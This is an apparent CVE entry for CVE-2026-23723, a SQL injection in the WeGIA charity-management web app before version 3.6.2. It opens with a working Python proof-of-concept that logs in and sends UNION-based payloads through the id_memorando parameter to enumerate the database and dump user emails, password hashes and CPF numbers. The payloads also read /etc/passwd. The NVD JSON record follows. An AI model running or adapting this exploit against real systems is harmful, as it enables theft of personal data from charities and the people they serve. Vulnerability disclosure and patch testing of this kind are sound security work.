CVE-2026-23723

import requests import sys # CVE-2026-23723 SQL Injection PoC # Target: WeGIA < 3.6.2 # Endpoint: Atendido_ocorrenciaControle # Parameter: id_memorando target_url = "http://target-server/WeGIA/Atendido_ocorrenciaControle" # Authentication (requires high privilege account) login_url = "http://target-server/WeGIA/login.php" credentials = { "username": "admin_user", "password": "password" } session = requests.Session() # Login to obtain authenticated session login_response = session.post(login_url, data=credentials) if "authenticated" not in login_response.text: print("[-] Authentication failed") sys.exit(1) print("[+] Successfully authenticated") # SQL Injection payloads payloads = [ # Basic injection to confirm vulnerability "1' OR '1'='1", # Union-based injection for data extraction "1' UNION SELECT NULL,NULL,NULL,version(),user()-- -", # Database enumeration "1' UNION SELECT schema_name,NULL,NULL,NULL,NULL FROM information_schema.schemata-- -", # Table enumeration "1' UNION SELECT table_name,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema='wegia'-- -", # Column enumeration "1' UNION SELECT column_name,NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='usuario'-- -", # Data exfiltration "1' UNION SELECT id_usuario,email,senha_hash,nome,cpf FROM usuario-- -", # File read (if privileged) "1' UNION SELECT NULL,NULL,LOAD_FILE('/etc/passwd'),NULL,NULL-- -" ] for i, payload in enumerate(payloads): params = {"id_memorando": payload} try: response = session.get(target_url, params=params, timeout=10) print(f"\n[Payload {i+1}]: {payload}") print(f"Status: {response.status_code}") if "SQL" in response.text or "error" in response.text.lower(): print("[!] Potential SQL error detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

{"cve": {"id": "CVE-2026-23723", "sourceIdentifier": "[email protected]", "published": "2026-01-16T20:15:50.163", "lastModified": "2026-01-30T18:28:51.853", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a web manager for charitable institutions. Prior to 3.6.2, an authenticated SQL Injection vulnerability was identified in the Atendido_ocorrenciaControle endpoint via the id_memorando parameter. This flaw allows for full database exfiltration, exposure of sensitive PII, and potential arbitrary file reads in misconfigured environments. This vulnerability is fixed in 3.6.2."}, {"lang": "es", "value": "WeGIA es un gestor web para instituciones benéficas. Antes de la 3.6.2, se identificó una vulnerabilidad de inyección SQL autenticada en el endpoint Atendido_ocorrenciaControle a través del parámetro id_memorando. Esta falla permite la exfiltración completa de la base de datos, la exposición de PII sensible y posibles lecturas arbitrarias de archivos en entornos mal configurados. Esta vulnerabilidad está corregida en la 3.6.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.2", "matchCriteriaId": "419B3A85-5754-4198-A73E-92A9DA8E7A68"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/pull/1333", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/releases/tag/3.6.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-xfmp-2hf9-gfjp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}